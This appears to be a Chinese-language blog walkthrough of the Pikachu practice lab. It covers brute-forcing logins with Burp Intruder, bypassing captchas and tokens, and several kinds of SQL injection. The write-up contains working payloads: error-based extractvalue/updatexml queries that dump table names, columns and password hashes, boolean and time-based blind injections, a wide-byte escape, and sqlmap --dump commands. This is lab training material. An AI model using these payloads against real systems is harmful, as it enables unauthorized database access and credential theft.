目录
1.暴力破解
这是作者的概述可以阅读一下
Burte Force(暴力破解)概述
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!
在做pikachu的暴力破解之前可以先看看其他大师傅验证码绕过的文章,收获很多
渗透测试-验证码的爆破与绕过_Tr0e-CSDN博客_验证码绕过
1.1.基于表单的暴力破解
这里其实主要就是考验burp的用法以及自己的字典了
点击题目的提示它会告诉你有三个用户
我们随意输入用户名密码抓包
点击右键发送给intrder
可以看到目标的IP和端口,接着点位置
攻击类型有四种,不懂的可以去看看burp的使用方法
我们将要爆破的位置点右边的添加添加上去,攻击类型就选择最后一个,集束炸弹
接着设置攻击的有效载荷
第一个位置是username
第二个位置是password
设置好之后开始攻击
我们可以把回显的内容按长短排序,已知有三个用户所以它们的长度与其他的长度不同
这样我们就成功爆破出了密码
1.2.验证码绕过(on server)
我们先观察页面
每刷新一次页面验证码就会发生改变
那么我们抓个包看看
vcod就是我们输入的验证码
我们发送到repeater
提示我们用户名密码不存在,我们再次修改用户名密码发现都只会提示用户名和密码不存在,说明验证码并没有刷新。那么我们直接暴力破解
可以发现已经跑出了用户名和密码
验证码成功被绕过
1.3验证码绕过(on client)
根据提示我们查看前端页面的源码
不难看出,它的验证码是在前端生成的,也是在前端进行验证
那么我们抓个包看看
可以看出即使修改了验证码,也只会提示我们用户名和密码不存在,也证明了它只会在前端进行校验。
接下来就按照之前的方式进行暴力破解就好了,就不再重复。
1.4token防爆破
没有验证码,那么我们先抓个包
我们发现请求包中多了一个token值,返回的是用户名错误
而且返回值中也有token的值
那么我们再次发包
提示我们token错误,其实这个token值就是返回包里的token值
这里我们发送到测试器,攻击类型选为音叉: 允许单独为每一处位置设置一组数据
在选项当中Grep Extract当中从响应中把token 的值找到选择点击ok
接着设置它的载荷类型是递归搜索,将第一个有效载荷添加进去。再将位置一位置二设置好
接着就开始攻击也能成功跑出来。
2.SQL注入
2.1数字型注入
首先我们进入题目
这里点击输入框会有下拉菜单可以选择userid进行查询
如图所示
那么我们抓个包看看,打开代理抓包发送到重发器
根据我们输入id能查询到的内容,我们可以猜测后台数据库的内容为
select name,email from 表名 where id = $id
然后我们输入在id后面输入-1 or 1=1
意思就是假或者真,则为真
可以看到它直接显示了所有的用户信息。
2.2字符型注入
进入题目
我们输入一个用户名试试看,输入admin显示用户不存在
抓包看看
我们在admin后面加上一个',让后台语句报错
可以猜测后台的语句应该是这样的,username用单引号包裹
select 字段1,字段2 from 表名 where username='$uname'
那么我们将username写为admin' or 1=1再加上#注释掉后面的'就可以完成构造
所有的username和email都被查询了出来
2.3搜索型注入
我们随便搜索一个k,它会将用户名中带有k的都显示出来
再输入name'让其返回报错,查看其后台部分语句
那么可以猜测后台的查询语句为
select * from member where username like '%$name%'
那么我们就要考虑闭合%
改为name%' or 1=1#
数据库返回了所有数据
2.4.xx型注入![](https://img-blog.csdnimg.cn/fec0e8f8b82249a98fb525e13d99ed74.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6LCo5rqq,size_20,color_FFFFFF,t_70,g_se,x_16)
这道题我们不清楚他是什么闭合方式那我们就让它报错显示一下错误的内容
输入admin'
返回的是 ''admin'')'
说明username是用单引号和括号包裹的
那么我们输入admin') or 1=1#
成功闭合
2.5.insert/updata注入
根据题目insert/updata可以知道注入点在注册与更新的部分
注册里用户名写jy'
发生了报错说明有后台语句参与其中
可以根据SQL注入中insert语句
insert into user(Username,Password,Sex,PhoneNum,Address1,Address2) value(‘’,‘男/女’,,‘’,‘’);
那么我们利用报错注入
利用extractvalue()函数进行报错注入
输入jy' and extractvalue(1,concat(0x7e,database())) or '#
0x7e是~,防止报错返回信息的不完整显示
concat()函数是将数据连接
这样我们就得到了数据库的名称
也可以查询数据库的版本version()
也可以把version()换为其他的查询,比如查询表名,查询列名,但是在查询的时候会一直显示不完全
我起初以为是输入有问题,但找了半天没找到,通过查资料得知extractvalue()和updatexml()函数都有长度限制,只能有32位长度,所以需要用substr函数来将后面的部分和前面的部分连接起来
查询表名
jy'or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31))) or'
可以看到x显然是没有显示完全的可以调整payload当中substr的起始位置和结束位置
也可以使用limit 0,1来一个一个查询
'or extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database()limit 0,1))) or'
完整的表名:httpinfo,member,message,users,xssblind
接下来查询user表中的列
' or extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31))) or '
调整substr位置
' or extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,64))) or '
不难猜出最后一个就是password最后我们查询
' or extractvalue(1,concat(0x7e,substr((select group_concat(password) from users),1,31),0x7e)) or '
调整位置
可以得到第一个密码是
e10adc3949ba59abbe56e057f20f883e
2.6delete注入
这里我们先上传一些留言
然后在删除的时候抓包
能看到一个id =56,那么我们加一个引号,产生了报错说明这里是注入点
我们在这里利用报错注入这次我们用updatexml(xml_document,xpath_string,new_value)
与extractvalue()不同的是后面多了一个参数,一般我们在xpath_string 中进行报错注入
直接输入
加号是用来代替空格的否则会直接报错
56+or+updatexml(1,concat(0x7e,database()),0)
返回了数据库内容
接着继续查询表名
id=56+or+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1,31),0x7e),1)
查询列名
id=56+or+updatexml(1,concat(0x7e,substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name='users'),1,31),0x7e),1)
最后查询的步骤和上一题相同
2.7http头注入
直接按照提示输入admin/123456
登录后,点击退出抓包
发现logout=1尝试注入发现不对
把userAgent改为1'
发现报错说明有注入,继续报错注入
可以注入
1' or extractvalue(1,concat(0x7e,database())) or '
接下来的和上面的报错注入相同
2.8盲注
输入已知有的账号之后抓包
我们输入'会发现并不会出现报错
加上#号发现成功
说明有注入点但是没有错误显示
这就需要选择盲注
盲注有布尔盲注和时间盲注
这道题我们选择布尔盲注,是通过我们输入的数据返回的真或假来进行注入
已知kobe为真若database的首字母为p为真,则能正常查询
kobe' and substr(database(),1,1)='p'#
查询成功,但这种查询方式太类可以使用sqlmap
扫数据库
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --current-db
成功跑出数据库
爆表
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
漫长的等待
爆列
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
爆用户名密码
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C "password,username" --dump
2.9基于时间的盲注
时间盲注是在页面怎么都不报错时选择的 ,就像这道题怎么输入他都不会报错
可以用sleep()函数让页面睡一会再发送数据
kobe' and if((database()='pikachu'),sleep(2),0)#
当数据库名为pikachu时睡
成功
时间盲注也同样麻烦,可以使用sqlmap暴库和上题一样
2.10wide byte注入
宽字节注入
宽字节,指的是当编码为GBK时两个字符为一个汉字
例如853c为一个汉字
GB2312汉字的编码范围为B0A1-F7FE
315c27指的是 1\'
5c代表\ 27为 '
要使'能够注入就再5c 前面加81使815c被识别为一个汉字即31(815c)27;31(汉字)27
那么1'就成功注入
gbk的编码范围为8140-FEFE
这道题中PHP使用addslashes输入单引号会被解析成转义为/' ,解析过来就是%5c%27
我们在前面加上%81就是%81%5c%27,%81%5c会被编码为一个汉字,则单引号就会逃逸
kobe%81' or 1=1#
剩下就是查询数据库,表名列名就不再,与上相同